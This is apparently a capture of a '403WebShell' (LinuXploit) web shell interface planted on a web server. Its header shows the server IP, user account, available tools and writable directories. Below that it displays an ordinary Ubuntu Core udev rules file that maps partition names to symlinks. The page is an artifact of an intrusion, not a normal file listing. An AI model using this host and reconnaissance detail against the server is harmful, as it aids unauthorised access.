Uname:Linux developmentwebsite.ca 4.18.0-553.168.1.el8_10.x86_64 #1 SMP Thu Sep 24 18:05:46 UTC 2026 x86_64

403WebShell
403Webshell
Server IP : 173.249.148.11  /  Your IP : 216.73.216.6
Web Server : Apache/2.4.68 (AlmaLinux)
System : Linux developmentwebsite.ca 4.18.0-553.168.1.el8_10.x86_64 #1 SMP Thu Sep 24 18:05:46 UTC 2026 x86_64
User : devinter ( 1006)
PHP Version : 8.3.35
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /snap/core24/2124/lib/udev/rules.d/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /snap/core24/2124/lib/udev/rules.d/90-ubuntu-core-partitions.rules
# This file should be the same as in snapd/core-initrd

SUBSYSTEM!="block", GOTO="ubuntu_core_partitions_end"
KERNEL=="loop*|mmcblk[0-9]boot[0-9]", GOTO="ubuntu_core_partitions_end"

# Pull from db from a previous event for this device if it exists
IMPORT{db}="UBUNTU_DISK"
ENV{DEVTYPE}=="partition", IMPORT{parent}="UBUNTU_DISK"

TEST=="/run/snapd/ubuntu-disk-already-found", GOTO="ubuntu_core_partitions_already_scanned"

ENV{DEVTYPE}=="disk", IMPORT{program}="/usr/lib/snapd/snap-bootstrap scan-disk"
# TODO move this to be done by "snap-bootstrap scan"
ENV{UBUNTU_DISK}=="1", RUN+="/usr/bin/mkdir -p /run/snapd/", RUN+="/usr/bin/touch /run/snapd/ubuntu-disk-already-found"

LABEL="ubuntu_core_partitions_already_scanned"

ENV{UBUNTU_DISK}!="1", GOTO="ubuntu_core_partitions_end"

# Ensure UBUNTU_DISK survives "udevadm info --cleanup-db"
OPTIONS+="db_persist"

ENV{DEVTYPE}=="disk", SYMLINK+="disk/snapd/disk"
ENV{DEVTYPE}=="partition", ENV{ID_PART_ENTRY_NAME}=="ubuntu-seed", SYMLINK+="disk/snapd/ubuntu-seed"
ENV{DEVTYPE}=="partition", ENV{ID_PART_ENTRY_NAME}=="ubuntu-boot", SYMLINK+="disk/snapd/ubuntu-boot"
ENV{DEVTYPE}=="partition", ENV{ID_PART_ENTRY_NAME}=="ubuntu-data", ENV{ID_FS_TYPE}=="crypto_LUKS", SYMLINK+="disk/snapd/ubuntu-data-luks"
ENV{DEVTYPE}=="partition", ENV{ID_PART_ENTRY_NAME}=="ubuntu-data", ENV{ID_FS_TYPE}!="crypto_LUKS", SYMLINK+="disk/snapd/ubuntu-data"
ENV{DEVTYPE}=="partition", ENV{ID_PART_ENTRY_NAME}=="ubuntu-save", ENV{ID_FS_TYPE}=="crypto_LUKS", SYMLINK+="disk/snapd/ubuntu-save-luks"
ENV{DEVTYPE}=="partition", ENV{ID_PART_ENTRY_NAME}=="ubuntu-save", ENV{ID_FS_TYPE}!="crypto_LUKS", SYMLINK+="disk/snapd/ubuntu-save"

LABEL="ubuntu_core_partitions_end"

ENV{DM_UUID}=="CRYPT-*", ENV{DM_NAME}=="ubuntu-data*", SYMLINK+="disk/snapd/ubuntu-data"
ENV{DM_UUID}=="CRYPT-*", ENV{DM_NAME}=="ubuntu-save*", SYMLINK+="disk/snapd/ubuntu-save"

Youez - 2016 - github.com/yon3zu
LinuXploit